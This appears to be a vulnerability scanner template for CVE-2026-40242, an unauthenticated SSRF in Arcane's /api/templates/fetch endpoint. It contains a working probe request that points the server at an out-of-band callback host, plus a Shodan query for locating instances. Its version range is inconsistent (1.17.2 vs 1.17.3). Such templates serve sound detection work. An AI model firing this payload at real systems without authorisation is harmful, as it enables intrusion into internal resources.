Arcane <= 1.17.2 - Server-Side Request Forgery

id: CVE-2026-40242

info:
  name: Arcane <= 1.17.2 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
   Arcane <= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.
  impact: |
   Remote attackers can make the server perform arbitrary HTTP requests, potentially accessing internal resources or sensitive data.
  remediation: |
   Upgrade to version 1.17.3 or later.
  reference:
    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-40242
    cwe-id: CWE-918
    epss-score: 0.00395
    epss-percentile: 0.60389
  metadata:
    verified: true
    max-request: 1
    vendor: getarcaneapp
    product: arcane
    shodan-query: http.html:"arcane"
  tags: cve,cve2026,arcane,ssrf,oast,unauth

http:
  - raw:
      - |
        GET /api/templates/fetch?url=http://{{interactsh-url}}/test.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(interactsh_protocol, "http")
          - contains(content_type, "application/json")
        condition: and
# digest: 4a0a00473045022014daf0c33bc875a2de8671840fc1356b5fe80a4e624db8bd64d85be0b67eaad9022100d22be92113a29d4b6e604cfe9c0b72930f1d3303343a720d6fd6ba1b2250f409:922c64590222798bb761d5b6d8e72950